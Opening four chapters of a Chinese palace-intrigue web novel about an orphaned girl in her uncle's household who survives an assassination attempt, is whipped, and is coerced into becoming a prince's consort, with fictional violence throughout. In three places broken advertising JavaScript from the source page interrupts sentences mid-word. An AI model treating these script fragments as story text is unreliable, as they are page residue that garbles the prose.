《绿茶国公的权臣心尖宠》 1. 虎落平阳 郢都。 雪连着下了几日。 一大早起了雾,薄雾沁凉,游荡在天地之间,营造了一场模糊的梦境。 荆家的深门别院正好坐落在东华巷起头的第一家,他们家门口有一棵果树,枯瘦的枝头竟还结着几枚红艳的果子。 霜花重,青砖瓦红墙头上生出几分淡白的薄霜;果子红,一经霜冻更显得温润可爱晶莹剔透。 这种明艳的果子放在青花瑶台瓷锺里最好,配上两勺柔滑的琥珀蜂蜜,一口下去,沁凉甘甜,回味无穷。 这令天都还没亮就杵着扫帚在偏门扫雪的楚歌垂涎三尺。 雪下了好几日,近日才停。荆楚歌抿唇,嘴唇不易察觉地抿了抿,呵出一团热气,很快就消散在冰冷的雾气里。 她手上的扫帚慢悠悠地晃了两下,把台阶上的雪再次归拢成一堆。 树杈上、屋檐上,雪积得厚,就算是扫过了也不成,太阳一照,那屋檐涔涔流着雪水,大块的积雪顺势就滑了下来。 卯时一刻她就过来了,饿着肚子扫积雪,这个时候府里的婆子们都用过饭了,但她还不得动弹。 荆楚歌仰头,只能望着墙头的红果子默默咽口水。 自从母亲荆氏去世,她在偌大的荆府里越发举步维艰,不到半年,母亲荆氏死前为她寻的好人家也退了婚,到最后连口饱饭都混不上。 在荆府里,她表面虽是体面的主子,但那些做事的下人总爱看盘下菜,到头来荆楚歌堂堂正五品监军的外甥女,竟过得不如府里掌事婆子的闺女,吃穿用度用八匹快马都赶不上。 她正偷懒着,身后突然传来佩环清脆的鸣响,香气浓郁似是时下最兴的玫瑰玉露。 荆楚歌没回头,毕竟有人来,手中的动作卖力了些,雪珠纷飞,在脚边骨碌滚动。 “荆大小姐,怎的这会儿还在扫雪?用过饭没有?下人们也太没规矩,本身走过场的事,非得这样为难表小姐您。”身后女声娇俏,声音脆亮宛若环佩叮当声,笑声难掩鄙薄之气,“这种粗活,让下人去做就好,您可是金枝玉叶的小姐,做这么有失身份的事,传出去了多不好。” 荆楚歌讷讷回头,女子梳着时兴的发髻,鬓边溜着一簇乌发,唇上擦着银朱色的口脂,也是如今郢都最流行的口脂颜色。 “夫人说,扫了东塘的雪才能回去。”荆楚歌回头,将扫帚停搁在自己身前,“姨娘不知道么?当日您不是在场么。” “你这倔性子,夫人不过是教训了你两句,你这样顶撞她,肯定是要受罚的。”女人捂着嘴轻笑,满不在乎地轻晃婀娜的身姿,“莫非你还是对夫人退还庚帖的事耿耿于怀?你舅舅说与我听过了,他定会给你再寻一户好人家。” 前几日,荆楚歌遗失了一枚玉佩,她第一次发火,还不依不饶地把事情捅到夫人那边,结果没讨回公道不说,还被罚来扫东塘偏院的雪。 “不劳三姨娘费心,舅舅日理万机,我这些小事万不能叨扰到他的跟前,楚歌别无他求,只想好生留在府里吃口饭。”荆楚歌微微仰头,轻轻叹了口气。 “莫要这么说,你舅舅听见该要心疼了。你舅舅如今已是天子门下五品飞骑将军,全郢都独一份的恩宠,自然是大忙人,没时间管你也是正常的。说去说来,还是你舅母才是后院的一把手,你有分寸,好好伺候好你舅母就是,以后多的是人家给你说亲。”三姨娘入府早,虽今年也就三十余岁,却早早黯然失宠。这几日不知怎的,风头逐渐盛了起来。 三姨娘看着少女低眉顺眼的模样,不由得满意起来。 往日她不得势,逮着荆楚歌就是一顿撮揉捏盘,奇怪的是这姑娘温和顺从,从来不与人置气。 “有姨娘您疼着也是极好的。怎的,是有什么好事惦记起楚歌了?”荆楚歌眨着无辜的大眼睛,微笑说道。 “若是将来夫人亲自操办,以表小姐你这以往的性子……夫人那边怕是也不会真心善待你。你也不是不清楚,之前我提过周管事家的儿子,她也是中意的,周家世代在我们家做管事,也算是亲上加亲了。”三姨娘喜上眉梢,开始给荆楚歌灌迷魂汤,“周管事的儿子,你也是认识的。” 荆楚歌自然是认识的,那家伙在私塾念了七年,连幼儿启蒙用的《百家姓》都认不全,毛都没长齐就学着世家子弟喝花酒,嫖资还是在荆楚歌这儿敲诈勒索来的。 那桩婚事太过难听,连好脾气的母亲都去闹过,正因此一遭,荆楚歌的母亲才下定决心要为她寻一个好人家。 只是世事无常,她母亲没来得及看见女儿凤冠霞帔嫁出去,就撒手人寰了。 她晃了晃涂满水红色蔻丹的手指,慵懒地搭在荆楚歌的肩膀上,眼波荡漾着笑意:“可你毕竟是五品武将的外甥女,怎么能随意与下人通婚。你且附耳来,我跟你说一件喜事。” 荆楚歌半信半疑地凑了过去,她鼻尖冻得红红的,看着憨态可掬,惹人同情。 “今日府里要来贵客,是张家的公子,还带着许多郢都贵客,想要过来认识认识几位姑娘。”三姨娘压低了声音,“你若是能趁机结识一两个贵人,那岂不是教你早死的母亲扬眉吐气了!” 说是几位姑娘,其实只有荆楚歌一个。 那个张家的公子是个金贵的独苗苗,张大人位列三公,致仕之后,盼星星盼月亮盼了一个三代单传的儿子,无论如何都要养着。 那张公子人在郢都颇具盛名,身体孱弱靠着药吊着一条命,连传宗接代的能力都没有,纵使这样还是喜欢流连烟花巷,年纪轻轻迷上了靡乱之气。 喝多了就爱打女人,曾失手打死过几个,但家里口风紧,花了些银子轻而易举摆平了。 那浪子三姨娘自然是看不上的,结果哪知道那个浪子就爱围着她的女儿荆甘棠转。这把三姨娘气得不轻,她的女儿怎么能嫁给那样一个没有前途的废物。 老爷还指望着张大人门下的幕僚谋士能给他多在几位皇子面前进言,好早日在风雨飘摇的郢都站稳脚跟,用一个妾室的女儿拉拢张家的关系绝对是稳赚不赔。 三姨娘知道后气得浑身发抖,想与老爷争辩几句,却被他堵了回来:“你难道还指望棠儿嫁王爷攀高枝么!她是妾室出来的,我若不亲自操办,到时候夫人去筹办,连这样的人家你都排不上搭!” 思来想去,三姨娘觉得自己女儿吃了天大的亏,若是说捡便宜,不如让这个死了娘的孤女去捡。 “如今你也是清白人,既没有婚约的束缚,倒不如嫁与他们张家,下半辈子定是享不尽荣华富贵。”三姨娘苦口婆心地拉起荆楚歌那双冰冷的手,若是光看她的表情,真以为字字均是肺腑之言。 荆楚歌感动地颔首,激动地握着姨娘的手,泪水快要夺眶而出:“舅母能这样疼爱楚歌,楚歌实在不知怎么回报……您的恩情,楚歌没齿难忘。” 三姨娘笑靥如花,一边盯着荆楚歌斑驳蜡黄的脸,一边不动声色地抽回自己的手,强行摁住心中的嫌弃。她把雪白的手指藏在宽大的衣摆下,用绣工精细的帕子把手擦了又擦。 讲真,这荆楚歌虽肤色不好,但五官生的大气,眉宇间有几分英气,嫣然浅笑又多了几分少女的明媚,一双眸子似能流转风华,星辰万千都能沉溺其中。 只可惜出身太差——她母亲与人私奔,后又被扫地出门,她只能抱着刚出生的女儿灰溜溜地回到她兄弟家。 母亲恶名昭著,注定这孩子这辈子只能落在泥里,给千万人践踏。 三姨娘喜上眉梢,眉眼间都是盈盈漾漾的喜气,心想自己的女儿终于不用嫁给那个浪荡子了! 她怀里揣着荆楚歌的生辰八字,到时候递去张家那边,她不嫁也得嫁。 到时候老爷问起来,就说这荆楚歌这丫头不知廉耻,嫌府里薄待她, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一心想要攀高枝,这才偷换了生辰八字,就算她辩驳……算了,无所谓,老爷肯定不会信那个野种的。 “你等着,我还有一样好东西给你,让那未来夫婿离不开你……”她想把张家的定情信物塞给荆楚歌。 女人往荆楚歌身上凑,荆楚歌皱眉,嫌她身上的脂粉气太重,出格的动作让荆楚歌直直后退。 这一躲不要紧,那三姨娘踩上了青石板路还未来得及融化的冰溜子上,咻的一声,就栽进了荷塘里。 正值寒冬腊月,女子猝不及防落入水中,身子在冰冷的水中连带着身上的华裳都是沉重的。 刺骨的冰冷将她的脸冻得惨青,发髻在挣扎间也变得散乱,乌黑的长发飘浮在水里,像残忍又美丽的藻荇。 胭脂旧痕,融落于水。 美人落难,无人问津。 “救命!” 荆楚歌冷眼看着水中冻得脸色发青发紫的三姨娘,从岸边缓缓起身,把自己的手在布腰封上反复擦了擦。 她提着笤帚,旁若无人地继续扫雪。 耳边是求救声,心绪却早已不再此处。 她站在荷塘前,面无表情,好像方才低眉顺眼小心讨好的人不是她似的。 她伸出笤帚,却又有些心有不甘,下定决心让三姨娘自生自灭了去。 荆楚歌收回伸出去一半的笤帚,抬眸刹那陡然惊出一身冷汗。 一百步开外的阁台高墙,冷箭飞驰,破风而至,回过神的时候荆楚歌根本来不及躲避。 水面碧清,白光一线,一道刺眼的箭光让荆楚歌晃神。 就是这一霎那的光景,水里面的三姨娘用尽最后一丝力气将荆楚歌拽进水里。 落水的荆楚歌被三姨娘死死摁住头,猝不及防呛了几口水,她迅速拖着自己的身体往岸边游。 后面的三姨娘恶狠狠地伸出惨白的手,将荆楚歌湿透的发髻拽住,散乱的乌发浸入水中,像一滴墨水落入盛满清水的白玉瓷盏。 冷箭如冷雨落入水中,那箭簇几乎是擦着荆楚歌的身体过去。 这池塘多年荒废,无人看管,近几年突然开始阔府,这才将这池塘收拾了起来。水虽不深,但底下都是软绵的泥土,根本就站不稳。 “你这贱蹄子……见死不救,不得好死……居然敢害我!”三姨娘依旧不肯放过荆楚歌,死死拽住她的长发。 荆楚歌转头看见三姨娘那张死白的脸上带着残忍狰狞的笑,知道对方是想着跟她鱼死网破。 说时迟那时快,荆楚歌猛然摁住三姨娘的头,水花飞溅,碧波涟漪阵阵,迸溅起无数珍珠似的白浪花。 水中二人成了活靶子,荆楚歌不仅得面对三姨娘的胡搅蛮缠,还得防住莫名朝她飞来的箭矢。 水花激荡,三姨娘手脚并用,死死拽住荆楚歌的头发。 白光恍若霹雳雷电,荆楚歌手腕一闪,毫不犹豫地割断了三姨娘手中拽紧的那一截长发。 三姨娘愣愣地看着手上的断发,缓缓在水里飘散远去,眼神里凶戾的光也开始缓缓涣散。 荆楚歌心头猛然一跳,只见那小指粗的箭矢穿过三姨娘的胸膛。 血色晕染得十分迅速,像一朵绽放到极致的曼珠沙华。 她喉里吃力地发出一声短促的呜咽,然后慢慢摔进水里,向水中央漂去。 水面的涟漪逐渐平静,剧烈的挣扎声逐渐归于死寂。 箭雨如爆裂的狂风向荆楚歌袭来,羽箭从她身侧擦过,荆楚歌吃力地一一避开。 她一只手里握着短刀,另一只手奋力扑腾,往岸边游去,身后的三姨娘被甩得越来越远。 游到了岸边,她气喘吁吁的,一只手扣进湿润的土地,指缝里都是溢出的湿泥。 一枚白玉圆雕牡丹折枝玉佩落到她的手边,荆楚歌赫然一抬头,看见岸上站着一个穿着黑色斗篷的陌生人。 2. 落水之犬 原来晃眼的是这枚玉佩,那玉佩虽雕琢得剔透光亮,想要如镜面投射水面那般是需要技巧的,看来是故意为之。 荆楚歌看不见那人的脸,但看身形轮廓估量出这人应该是个习武多年的男人,他身影欣长,清冷孤傲的模样就像是折下枝头花蕊含雪的梅,放入露水轻盈的玉瓶里。 那一抹乌黑的影子旖丽地倒映在琉璃瓦般透亮的水面上。 荆楚歌缓缓爬起来,全身湿淋淋的,狼狈不堪,来不及震惊此人的天人之姿,恍然间骤然大彻大悟——八成是这人要让她当替死鬼! 恰好此时男人突然伸手挽住她,荆楚歌猝不及防地跌进了他的怀里。扑面而来的是极其清冷奢贵的荼靡香气,带着寒意奔涌入荆楚歌的鼻端。 这样的冬天,这人只穿着单薄简陋的披风,连一件大氅都没有。荆楚歌被裹在披风里,动弹不得,挣了几下却纹丝不动。 挣也挣不开,她也就放弃了无谓的挣扎。在斗篷下,她仔细打量起这个男子的容貌。 简直是天人之姿,握住自己胳膊的那只手骨节分明,肌肤如玉如瓷,有着不可抗拒的力量。 “你可真是胆子大。” 这人声音极有特色,让人过耳不忘。如清风拂过银盏花盛开绽放的山岗,花香丝丝入扣,沁人心脾。又像是冬日之青松竹柏,枝头含雪,一股沁冷湿润的气息,带着初雪后初阳映照的温暖。 他究竟是什么人?荆楚歌在荆府里待了这么多年,从未见过这号人,看来他是今天的贵客。 这人虽衣着朴素,但身量周身散发着不可靠近的威逼之气。他轻功奇好,荆楚歌甚至不知道他什么时候凑近的,从哪个方向来。 真是晦气,差点就没命了,但凡反应慢一点,沉下水的可不单单只有三姨娘了。 男人吹了口哨,高亢尖锐的哨声几乎响彻云霄。 “要活口。”男人漫不经心地发令。 那双浓密的长睫下一双摄人心魄的眼,似斑驳星光的浓缩,华丽如万千山河汇聚于一处,目光微转,似是天地间只剩那墨玉的流光溢彩。 荆楚歌听见屋瓦在颤动,一声接着一声,十几个穿着黑衣的影卫鱼贯而出,看来是等主人发号施令,伺机而动。 影卫,那便只有郢都的皇族才有资格发号施令的,等级仅次于皇帝身边的羽林军。 当朝最得势的还是太子一党,据说影卫已经拨给了太子党门下的六殿下,如果不出意外,这个穿着穷酸披风的就是当今圣上的第六子,权势滔天的秦王殿下。 “借过一下。”荆楚歌抖了抖身上的水,她冷得发抖,但身体算是壮实,兴许是从小在后院里被当作下人四处打杂,她身体比一般的闺阁小姐强了许多。 “你就这么走了?你是负责洒扫的人,却未及时救驾,到时候问罪,能脱得了身么?”男子轻笑一声,似是在拷问明日待考的学生。 荆楚歌可不是学生,她是被迫出来挡箭的倒霉蛋子。 “三姨娘失足落水,奴婢欲下水救她却差点被拽下去,现在要去寻求救助。”荆楚歌面不改色,拢了拢湿透了的长发,“至于您是谁,抱歉,我这样的下人有眼不识泰山,从不曾见过,但您这会儿若是需要,我马上去禀报。” “这种脱身的计策,是不是自大了些。”男子注视着后方的水面,那一处早已升腾起一大片殷红,“我可没说要放你走。” 荆楚歌心想,看来自己遇上硬茬了。 “人命关天,大人容小的先去禀报——”荆楚歌欠了欠身,此地不宜久留,她一个无名小卒也翻不起什么浪,杀是顺手,放了也是顺手。 擦肩而过,那人陡然伸手抓住了荆楚歌的肩膀。 荆楚歌早有预料,反手握住对方的手腕,一拉一推,利刃欲要出鞘,青光白光交叠一闪,荆楚歌手中的短刀猝然崩裂,断成两截。 “坏了。”这一切似乎都在男人的意料之内,他无辜摊手,似是期待看荆楚歌的反应。 这人看着精致俊美,风姿卓然,实则是亘古不化的坚冰,如玉人那般纹丝不动。 男人微笑着盯着她的脸,乌黑的发丝间露出一张清丽的脸,一双眼眸顾盼生情,似是浸透了迷离夜色。 “我把我的赔给你,你敢接吗。”他把手上的刀递给了她。 荆楚歌定睛,这刀做工细致精美,绝非等闲之物。刀柄上镶着一颗水滴状的蓝宝石,通体隐着灰金色的暗纹。短刀出窍,月光白的刃身露出一截;刀鞘深黑,似是最稀罕见的西北玄铁。 “真给我?”荆楚歌愣了愣真接了过来,把这把短刀在手里反复掂量。 “那收下我的刀,你就得告诉我你的名字。”男人似乎对这少女颇有兴趣,负着手站在岸边,唇角带着浅淡的笑,似是清朗云风。 “那我不要了。”荆楚歌抹了抹脸上的水,脸上的姜黄色的脂粉被水洗得干干净净。她立马松手,把短刀塞回男人的手里。 “你不告诉我没关系,有人会告诉我的。”男人将地上的玉佩捡了起来,他颇为嫌弃地用江南绣局进贡的帕子擦了又擦。 “殿下!” 身后再次传来纷乱的脚步声,荆楚歌心中一颤,她认识这个声音,正是他那个官任五品飞骑将军的舅舅荆乔松。 荆楚歌还未来得及反应,下一秒她便被再次踹进了荷塘里。挨的这一下实属意料之外,荆楚歌实在没招架上,结结实实喝了两大口泥巴水,她穿着湿哒哒的衣服又泡进了冰冷的水里。 “殿下!”荆乔松着急忙慌地朝男子奔来,“殿下受惊了,你这孽障,看在你母亲的面子上,平日对你的顽劣包容一二也就算了,如今竟是惹了泼天的祸事!” 荆乔松转头就向水里的荆楚歌发难,荆楚歌心想,她也没做什么啊,顶多就是见死不救,水里还有另一个人呢,不确认一下死活吗。 这个男人会怎么说? 男子对着浅水里站着的荆楚歌露出玩味的微笑。 荆楚歌看出了威胁的意味,他亲眼看见了全过程——她的杀心、冷漠、大逆不道,他尽收眼底。 两人目光交接,却有了千言万语似的。 “想知道我会怎么跟你家大人交代么?” 虽是无言, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 但荆楚歌分明看出了那人的威胁和揶揄。 荆楚歌胸膛升起一团焦躁火热的气焰,她与母亲生活在这里十余年了,虽日子清苦,但好歹清净。 母亲时常还讲起那个时候,在江南夫家时候的往事,江南孙氏是当地颇有声望的家族。 一位是京城贵女,一位是江左孙氏的长房长孙,原本是天造地设的一对。 哪知孙家最终卷入权力漩涡,终落得满门抄斩的下场。 那年江南水患,大水冲破河堤淹了九座县城,河堤偷工减料,其中牵扯范围太广,只能扒出关键的官员顶罪。孙家因陷入贪腐丑闻最终锒铛入狱,不久就定罪抄家问斩了。 荆家当年没受聘礼,也不曾随嫁妆,只当是白给人当了几年主母,荆家不愿承恶名,对外一口咬定荆岫云恬不知耻,上赶着给人糟践。 命好,事发前夕给人扫地出门,造化弄人,到头来竟还捡了一条性命。 “私奔”这样的名头永远压在荆岫云的脊梁骨上了。 她与母亲投奔郢都的舅舅家,荆府大门紧闭不开,荆岫云带着她在门口跪了四天三夜,最终荆府熬不过满城百姓的指点舆论,只得将母女两人搬进府邸。 可这一切只是悲剧的开端,荆楚歌四五岁的时候,荆府的主母为着阖府上下的名声,与老爷合计一番,想要越过荆岫云扔掉荆楚歌,三姨娘便趁着荆岫云午休的空档,将荆楚歌抱走了。 那个时候年幼的荆楚歌被扔到城外几十里的雪地里,若不是荆岫云发疯似的去寻她,冻死,亦或是被狼吃掉,她早就死在雪夜里。 只是从此,荆岫云急火攻心落了病根,加上那场十年难遇的大雪,天寒地冻伤了根本,这三姨娘还克扣着炭火,日后的多数时光,荆岫云寒气入体,只能常年在病榻上休养。 其实荆楚歌知道她也是听从了夫人的命令,这并不是她的错。可偏偏这个女人不知死活地自作主张,非要将她塞给周管家的儿子做老婆。 正是这事,将荆岫云气得一病不起。 周管家死了老婆,打了许多年的光棍,如今儿子也到了谈婚论嫁的时候。娶了荆楚歌简直是一箭双雕,老光棍和小傻子都有老婆了。 原本这事拒绝了也就没下文,那三姨娘的侍女还把人往荆楚歌的闺房里带。 摆明了就是欺负她是个没人管的孤女,貌若无盐无依无靠。 荆楚歌以死相逼,但不是将怀里的短刀架在自己脖子上——谁歹毒谁才该死,她胡乱地挥着短刀,见了血,这才将那对无色欲熏心的父子逼退。 若是失贞,要么安心地给那父子当小老婆,要么就是被扫地出门。 对一个久在深闺的少女而言,不论是哪一种,都是极其残忍的下场。 她们母女相依为命,风里来雨里去这么多年,如同蝼蚁苟活。 荆楚歌只想有尊严地活着,有朝一日她能够走出大宅院,四处流浪也好,只要有母亲在身旁,去哪里都好。 可现在母亲已经撒手人寰,将她一个人留在这个冰冷残酷的世界,纵使只是想简单活着,老天也不肯成全吗? 3. 以玉为聘 “哎呀,殿下殿下!你是去哪儿了!急死老奴了,一转身你就不见了。荆大人在堂上等候多时,正准备派人去寻。”上了年纪的贴身仕官抄着拂尘,万般心疼地围着男子。 “荆大人,我只是随意走走。怎的,院子里有什么不方便的?”男子说。 旁边的侍从已经给他换上了轻裘,一身黑紫金线的立领貂裘,气质一下子就映衬出来了。 “不敢不敢……只是害怕家中幼子不懂规矩,冲撞了殿下。”荆乔松躬身,声音诚惶诚恐起来,要是六殿下在荆府里出了事,岂不是荆家的泼天大祸,“再加上……荆府守备定然不如王府精锐,您的安危时刻悬在下官的心头。” 他心中正奇怪着,姐姐家那个相貌平平、一无所长的孩子怎么变了个样,半年不见竟水灵了许多。 水中的异常副将立马就注意到了,马上吩咐下属打捞水中异物。血色变得稀薄,但是在碧清的水面上浮动着诡异的光。 三姨娘青白浮肿的尸体就这样被抬了上来。 “方才路过东塘小院,正巧看见墙上红果诱人,想摘一两枚,却不想受人惊扰。”六殿下气定神闲地看向水里落汤鸡似的荆楚歌,视线缓缓滑动,落到离荆楚歌好几尺外的水面。 “殿下您……” “我让影卫去追了,只是可惜大人家的这位姨娘,实在红颜命薄。” “想必这也是我这侍妾的福分,能为王爷挡下这一箭,我定将她好生厚葬。”荆乔松却无意松了口气,还好不是六殿下有了闪失。 “这是贵府哪一房的女儿?”男人指向被众人差点遗忘的少女,语气淡得如初阳下卷着融雪气息的风,“若是无关紧要的人,一并杖杀了吧。” 俊秀清逸的脸上习惯性地带着漠然笑意,语气半真半假,这样的情景令一旁的众人倒吸一口凉气,随即想起了这位殿下鲜为人知的身世,有关此人的传闻比比皆是。 喜怒无常,阴鸷狠辣。 荆楚歌后背激起一阵冷汗,难道她真的大限将至?可她也没做什么伤天害理有悖伦理的事。 这世道难道真的视人命如草芥? “殿下息怒,这是下官家姐的女儿,随母姓名叫楚歌。家姐体弱多病,就这一个闺女,所以娇纵得厉害。前些日子,原定的夫家也不满她的顽劣,看在家姐在世时的人情薄面上,只是将庚帖都退了回来……这孩子没读过什么书,没受过教化,还望殿下莫要怪罪,要打要杀,全权依照殿下的意思。”荆乔松一面展现自己作为长辈的痛心疾首,一面又害怕惹火上身。 荆楚歌被几个侍卫摁住,跪在水里以极其别扭的姿势面对众人。 夫家退婚的事都要摆到明面上说,要是寻常女子,直接就把自己淹死在这荷塘里就算了,还上去干嘛,丢人现眼吗? 荆楚歌只是一阵胆寒,要她不堪受辱投水自尽?为了这样的事那是绝对不可能的。 只是现在已经不是名节不名节的问题了,这个六殿下怎么这么狠毒,一张嘴就要打要杀。荆楚歌果真是涉世不深,没见过几只正经的老禽兽,如今这个六殿下算是一只。 “这样的美娇娘,以前在郢都也从未见过,六殿下也太不会怜香惜玉了罢。” 荆楚歌听见身后传来人声,只见这人一袭白月竹叶的青缎长袍,手里一副乌沉木的折扇,面色皎皎如如玉。谋事模样,应该是这位六殿下的交好。 今天真是运气好,一下子见到了这么多达官显贵,怕是这辈子见的贵人都汇聚在了今天。荆楚歌内心一阵冷笑,心想今日死了就死了吧,蝼蚁一般活着也没什么意思。 “六殿下,您可莫要坏了张家兄弟的好事,他今日可是来见荆府二小姐的。莫非你今日也是眼馋了张兄弟,也要在房里添置新人?确实,这小姑娘虽谈不上倾人城倾人国的容貌,却别有一番趣味。”男子摇了摇扇子,一副气定神闲的模样,“你可别整日要打要杀的,把人家姑娘吓坏了。” 这个别有一番趣味的小姑娘心中一阵恶寒,被众人打量得寸步难行,那种目光,就像是让浑身上下都爬满了蚂蚁争相啃食。 这位谋士可能只是顺嘴一提,但是荆乔松真心听进去了。 若是能将荆楚歌塞进六殿下的房里,也不枉荆家收留她这么多年。 六殿下也是铁了心想要看荆楚歌的笑话,他将手伸进自己的宽袖中,摸到了那块玉佩。真是好极了,那是一块做工优良、皇家特供的上乘之作。 白玉折枝牡丹,正好以此为聘。 “若是荆大人能够忍痛割爱,我倒是能饶她一命,今日便想将她带走,不知您是否愿意。”六殿下脸上浮起灿烂的笑意,那笑容泛着诡异的寒,剔透的眼眸中更是一片凉意。 “今日不妨好事成双,将这孩子的婚事一起订下,下官倍感之幸。”荆乔松开心得眼睛都睁不开了。 “你只问我舅舅,却不问我愿不愿意。你究竟是聘我的舅舅还是聘我?”荆楚歌仰着头,站在水里半晌,早就被冻得半边身子都失去知觉。 周围的人虽多,但没人敢上前。毕竟六殿下未发话,谁敢贸然上前。对于六殿下而言,死一个和多死一个或许真没差别。 没人觉得荆楚歌直爽,只觉得这位小姐确实不曾受到教化,居然从嘴里吐出这样一句大逆不道的话。 “那你愿意么?” 但出乎意料的是,六殿下居然真的开口问了。 “不愿。” 听到自己外甥女果断的回答,荆乔松眼前天昏地暗的,他将这辈子的好时光回想了个遍。当下只觉得,自己要完了,荆家也完了。这个荆楚歌果真是个祸星,她再一开口,怕不是整个荆家都要覆灭! 结果六殿下丝毫没有愠怒,手里摸出那块包着帕子的温玉,抛给了一旁冷汗直冒的荆乔松。 “荆家没有家法吗?”他轻飘飘地留下这句话,周围都噤若寒蝉。 荆乔松立马了然于胸,从身后副将的手里夺过马鞭,一鞭落下,血肉横溅!她原本在冰水里泡久了,失去了大半知觉,这一鞭子下去,整得后背火辣辣的,如同烈火焚烧。 “打到她愿意给六殿下做外室为止。”荆乔松吩咐道。 荆楚歌恶狠狠地看向六殿下的身影,那个罪魁祸首若无其事地迈着轻盈的步子,甚为随意地下达了命令。 人命之脆弱,生死就在这些人的一念之间。 “荆大人莫要误会,王府愿抬她做贵妾,只是王爷还未娶正妻,过了门先要养在外面。您是武将出身的,可别真把小姑娘打狠了,还指望荆小姐给王爷开枝散叶呢。”内官抬着下巴捏着嗓子,一脸谄媚地对荆乔松说道。 荆乔松闻言笑逐言开,觉得自 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 己简直是捡了天大的便宜。 今天阴差阳错居然一步到位,凭着外甥女成功拉拢了秦王府。 一面是出过朝廷大员的张家,一面是秦王府,荆大人觉得自己马上就要到达人生的顶峰。 倾身迈入朝堂,俯首搅动风雨。 他一想到这儿,心情不由得舒爽起来。那不成气候的儿子,再怎么扶不起来,将来也会是正正经经的朝官。 “前厅设宴,还劳请殿下移步。”荆乔松笑得合不拢嘴。 “哎呀,都这个时辰了,国公爷还没来么,也没听见人通报一声。”谋士合起折扇,伤脑筋地敲了敲自己的肩膀。 “他和户部扯完烂账就过来的,他不喜欢这些场合,能赏面过来就已经很不容易了。”说起国公爷,秦王语气微妙。 这一天,有人要洞房花烛,有人升官发财死小老婆……滚滚洪流,轧着女人的尸骨,走上那求而不得的高位。 在荆府西北角里有一处偏僻的、连题字都不曾有的小院,原先是下人们住的地方,后来荆小姐自己跑了回来,还带了个拖油瓶,于是在这里一住就是好些年。里面的陈设布置都是按照下人的规格置办的,谈不上大小姐的体面。 只是荆岫云没哭没闹,带着这女儿在院子里住下,确实也是,她本是戴罪之身,只是运气好才捡了一条命。嫁了那样的人家不说,还带着一个孩子,走投无路回了娘家,她有什么脸面计较。 荆楚歌一个人,拖着被鞭笞完的身体回到空荡荡的小院子,洗澡是个麻烦换好了衣服,梳好发髻。闺房里光线昏沉,那一张破旧的柳木梳妆台歪歪扭扭,就点了一根快见底的红蜡烛,抽屉里一件像样的胭脂都没有,更别提金银首饰了。 不怪人家下人都看不起,这小姐日子过得确实窝囊。 她看着破败院子里的几个空盆栽,那是母亲还在的时候种过的茉莉,她一死,荆楚歌哪有心思去整那些。 干不完的活,吃不上的饭。 荆楚歌心想,要是母亲还在,应该不至于像现在这样落魄。 不过她也只是想想。 毕竟她也不想大冬天在门外跪着,眼巴巴地等着人家施舍;不想在寄人篱下,看着母亲一次一次为了护住她而受到伤害;不想看见母亲被旁人羞辱,被别人折磨得吐血卧床。 不想给那些下流东西堵在屋子里;不想被人当一件物件被送出去;不想随便嫁人了却残生。 凭什么女人要靠着寻觅好夫婿去获取光鲜亮丽的体面。 她怅然若失,茫然而不知所措。手中的火折子被擦亮,恍惚看见火光里有熟悉的影子。 “母亲……”她轻声念叨着,感觉背后火辣的痛感好像有所减轻。 她倔强着不敢落泪,尤其是在那些男人面前,她咬紧了牙关,将委屈都吞回肚子里。 这个时候所有的痛苦却如同江水之决堤。 荆楚歌缓了缓,回头看见地上精致的箱子,里面一半是虚的,用旧纸垫着,显得金银首饰多了些。 她二话不说,觉得自己这顿打不能白挨,将送来的金银首饰打包成一堆,全装在包袱里,提了提感觉还挺趁手,拿去卖了,说不定还能换一笔盘缠。 她深知,出门在外,最忌讳的就是身无分文。 此地不宜久留,天亮之前她要离开这里。 4. 玉珠蒙尘 “姐!阿姐!” 门外响起凄厉的叫喊声,纷杂的跑步声随之而来。 这少年一看就是从小贪玩惯了的,皮肤呈小麦色,稍稍偏黑,太阳晒狠了,一年接着一年便是如此。 他戴着白玉红缨冠,踩着黑金累边青云靴,一身宝蓝色的长袍,腰带系着数不清的小香囊,玉佩也挂着好几块,看着和平常纨绔没什么差别。 正是荆家不成气候的嫡公子荆凌筠。 说来也稀奇,这孩子似是养在狼窝里的兔崽子。对荆楚歌尤其特别,在全府上下不把她们母女俩当人看的时候,只有这个夫人生的工子愿意说公道话。 “姐姐!是谁打的你!谁这么大的胆子!我去找父亲——” “少爷,你可别给我添乱了。”荆楚歌稍稍松了口气,看来方才的事还未来得及传回后宅。 也是,秦王遇刺,这不是光彩的事,要是被有心之人利用了,大张旗鼓地宣扬了出去,定要引起一阵风波。 他比荆楚歌要小个两三岁,性格远比不上这个表姐的沉稳。 “少爷!您又一个人跑这儿了,夫人要是知道了,又要怪罪我们这些下人了!”赖嬷嬷扭动着肥胖壮硕的身躯,急吼吼地从院门口冲了进来。 夫人极不待见这对母女,连最基本的面子也不愿意护,于是下面做事的管事嬷嬷都不把这对母女放在眼里,一开始也就指桑骂槐含沙射影地骂,到了后面怎么直接怎么来,什么难听的话都一并往外吐。 “我只听说你要嫁出去了,没人跟我说你受了这么重的伤啊……啊!”荆凌筠讷讷地伸手,想要碰一碰她背上的伤口,却被赖嬷嬷一巴掌扇了过去。 “小少爷!您这是做什么!你这是在折煞自己啊!荆楚歌是什么您是什么身份!尊卑有别,您不要难为老奴啊……”赖嬷嬷咬牙切齿地压低声音,伸手想将荆凌筠拉扯过来。 荆凌筠突然爆发了:“你说她是什么身份!她是我的姐姐,是荆府的主子!你那你来的胆子!不过仗着奶过我几年,真以为自己是个什么东西!敢在我面前谈尊卑有别!” 赖嬷嬷被吓了一激灵,她一嗓子就嚎了出来,哭得心酸,像一块皱巴巴的破抹布沾满了油腻的水渍。 “你快回去吧,舅舅又该过问你的学业了。”荆楚歌不想继续跟他们纠缠。 “愣着干嘛!快去拿我房里的金创药!半刻钟不取来,我就是死也要求母亲将你换走,你就去外院养老吧。” 赖嬷嬷第一次这么被少爷对待,她为老不尊惯了,仗着养过哥儿在府里像一只螃蟹横冲直撞,得罪了不少人,门外多的是人笑话她。 